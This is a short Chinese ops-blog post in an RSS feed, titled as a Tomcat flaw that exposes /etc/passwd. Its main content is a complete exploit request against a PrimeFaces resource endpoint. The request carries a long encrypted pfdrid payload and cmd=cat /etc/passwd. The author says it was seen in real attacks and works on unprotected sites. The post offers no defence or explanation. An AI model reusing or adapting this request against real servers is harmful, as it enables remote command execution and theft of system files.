				<category><![CDATA[Tomcat]]></category>

		<guid isPermaLink="false">http://05bk.com/?p=373</guid>
		<description><![CDATA[这是在实际工作中碰到的攻击： http:/url/javax.faces.resource/dynamicco [&#8230;]]]></description>
				<content:encoded><![CDATA[<h2>这是在实际工作中碰到的攻击：</h2>
<pre class="prettyprint linenums">http:/url/javax.faces.resource/dynamiccontent.properties.htm?cmd=cat+/etc/passwd&amp;pfdrt=sc&amp;ln=primefaces&amp;pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVqupdmBV%2FKAe9gtw54DSQCl72JjEAsHTRvxAuJC%2B%2FIFzB8dhqyGafOLqDOqc4QwUqLOJ5KuwGRarsPnIcJJwQQ7fEGzDwgaD0Njf%2FcNrT5NsETV8ToCfDLgkzjKVoz1ghGlbYnrjgqWarDvBnuv%2BEo5hxA5sgRQcWsFs1aN0zI9h8ecWvxGVmreIAuWduuetMakDq7ccNwStDSn2W6c%2BGvDYH7pKUiyBaGv9gshhhVGunrKvtJmJf04rVOy%2BZLezLj6vK%2BpVFyKR7s8xN5Ol1tz%2FG0VTJWYtaIwJ8rcWJLtVeLnXMlEcKBqd4yAtVfQNLA5AYtNBHneYyGZKAGivVYteZzG1IiJBtuZjHlE3kaH2N2XDLcOJKfyM%2FcwqYIl9PUvfC2Xh63Wh4yCFKJZGA2W0bnzXs8jdjMQoiKZnZiqRyDqkr5PwWqW16%2FI7eog15OBl4Kco%2FVjHHu8Mzg5DOvNevzs7hejq6rdj4T4AEDVrPMQS0HaIH%2BN7wC8zMZWsCJkXkY8GDcnOjhiwhQEL0l68qrO%2BEb%2F60MLarNPqOIBhF3RWB25h3q3vyESuWGkcTjJLlYOxHVJh3VhCou7OICpx3NcTTdwaRLlw7sMIUbF%2FciVuZGssKeVT%2FgR3nyoGuEg3WdOdM5tLfIthl1ruwVeQ7FoUcFU6RhZd0TO88HRsYXfaaRyC5HiSzRNn2DpnyzBIaZ8GDmz8AtbXt57uuUPRgyhdbZjIJx%2FqFUj%2BDikXHLvbUMrMlNAqSFJpqoy%2FQywVdBmlVdx%2BvJelZEK%2BBwNF9J4p%2F1fQ8wJZL2LB9SnqxAKr5kdCs0H%2FvouGHAXJZ%2BJzx5gcCw5h6%2Fp3ZkZMnMhkPMGWYIhFyWSSQwm6zmSZh1vRKfGRYd36aiRKgf3AynLVfTvxqPzqFh8BJUZ5Mh3V9R6D%2FukinKlX99zSUlQaueU22fj2jCgzvbpYwBUpD6a6tEoModbqMSIr0r7kYpE3tWAaF0ww4INtv2zUoQCRKo5BqCZFyaXrLnj7oA6RGm7ziH6xlFrOxtRd%2BLylDFB3dcYIgZtZoaSMAV3pyNoOzHy%2B1UtHe1nL97jJUCjUEbIOUPn70hyab29iHYAf3%2B9h0aurkyJVR28jIQlF4nT0nZqpixP%2Fnc0zrGppyu8dFzMqSqhRJgIkRrETErXPQ9sl%2BzoSf6CNta5ssizanfqqCmbwcvJkAlnPCP5OJhVes7lKCMlGH%2BOwPjT2xMuT6zaTMu3UMXeTd7U8yImpSbwTLhqcbaygXt8hhGSn5Qr7UQymKkAZGNKHGBbHeBIrEdjnVphcw9L2BjmaE%2BlsjMhGqFH6XWP5GD8FeHFtuY8bz08F4Wjt5wAeUZQOI4rSTpzgssoS1vbjJGzFukA07ahU%3D</pre>
<h2>在没有防护的网站上还真的能看到/etc/passwd文件</h2>
<p>转载请注明：<a href="http://www.ywbk.cc">运维博客</a> &raquo; <a href="http://www.ywbk.cc/373.html">tomcat做web服务器远程查看/etc/passwd文件漏洞</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.ywbk.cc/373.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
